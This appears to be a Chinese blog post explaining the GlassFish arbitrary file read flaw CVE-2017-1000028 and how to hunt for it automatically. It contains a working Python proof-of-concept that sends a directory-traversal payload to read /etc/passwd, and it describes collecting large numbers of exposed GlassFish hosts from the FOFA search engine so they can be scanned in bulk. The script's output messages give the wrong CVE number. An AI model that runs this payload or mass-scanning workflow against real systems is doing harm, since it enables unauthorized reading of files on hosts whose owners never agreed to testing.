自动化漏洞挖掘(CVE-2017-1000028)


前言

一些PoC简单,或者说验证方式简单的漏洞,可以通过脚本进行自动化地挖掘。像RCE、目录穿越这样的漏洞,可能发送一个GET型的HTTP请求,通过响应包的回显信息就可以验证漏洞是否存在。
不错的参考资料:

  1. https://mp.weixin.qq.com/s/VdBj7ImJ6-RDDvSstvmIBQ
  2. https://www.bilibili.com/video/BV1JZ4y1c7ro?p=76&vd_source=beeb967a84b38ad9b59e7206ed42a531

一、glassfish 任意文件读取(CVE-2017-1000028)

关于漏洞的介绍、复现:

  1. https://blog.csdn.net/weixin_44033675/article/details/121316067
  2. https://www.secpulse.com/archives/4276.html

我们在Web系统中讲过,Web服务器向客户端提供静态内容的方式→读取一个磁盘文件,通过HTTP协议返回给客户端。

在处理GET请求时,我直接取path,然后使用open函数(文件打开函数)打开path对应的静态文件,并通过HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。
当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。

那攻击者为什么要构造/…/…/…/…/…/…/etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。
攻击者使用多个…符号,不断向上跳转,最终到达根/,而根/的父目录就 是自己,因此使用再多的…都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。

二、编写POC

既然复现了漏洞,那么就可以编写POC啦

import requests
import argparse
'''
思路:
 1、接收url
 2、拼接payload
 3、发送HTTP数据包
 4、根据回显(这里简单使用状态码)判断是否存在漏洞
分解为2个函数:
 1、命令行参数处理函数
 2、漏洞验证函数
'''
# 命令行参数处理
def commandLine():
    parser = argparse.ArgumentParser(description="CVE-2017-1000028")
    parser.add_argument('-H',dest='host',required=True,help='Target host')
    parser.add_argument('-p',dest='port',required=True,help='Target port')
    args = parser.parse_args()
    return args

# 漏洞验证函数
def poc(args):
    headers={'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Edg/80.0.361.54'}
    payload = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
    poc_url = args.host + ':' + args.port + payload
    #print(poc_url)

    try:
        resp = requests.get(poc_url,headers=headers,verify=False)
        if resp.status_code == 200:
            print("[+]cve-2017-1000018 exist")
        else:
            print("[+]cve-2017-1000018 not exist")
    except Exception as e:
        print(e)
if __name__ == '__main__':
    args = commandLine()
    poc(args)

在这里插入图片描述

三、批量自动化挖掘

1、要想批量刷漏洞,首先得有大批可能含有漏洞的url ----> fofa搜索
2、利用poc脚本遍历这些url

fofa采集url

fofa中搜索"glassfish" && port="4848",观察它的请求url为
https://fofa.info/result?qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D
base64解码后
在这里插入图片描述
知道请求url的结构后,可以开始爬虫编写啦。这里可能需要一些爬虫和数据处理的知识,

  1. https://www.bilibili.com/video/BV14L4y1N7F9?p=49&vd_source=beeb967a84b38ad9b59e7206ed42a531
  2. https://doc.itprojects.cn/0001.zhishi/python.0013.spiderbase/index.html#/38
'''
思路:
 1、爬取页面内容
 2、提取其中的url并存到一个文件中
'''

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值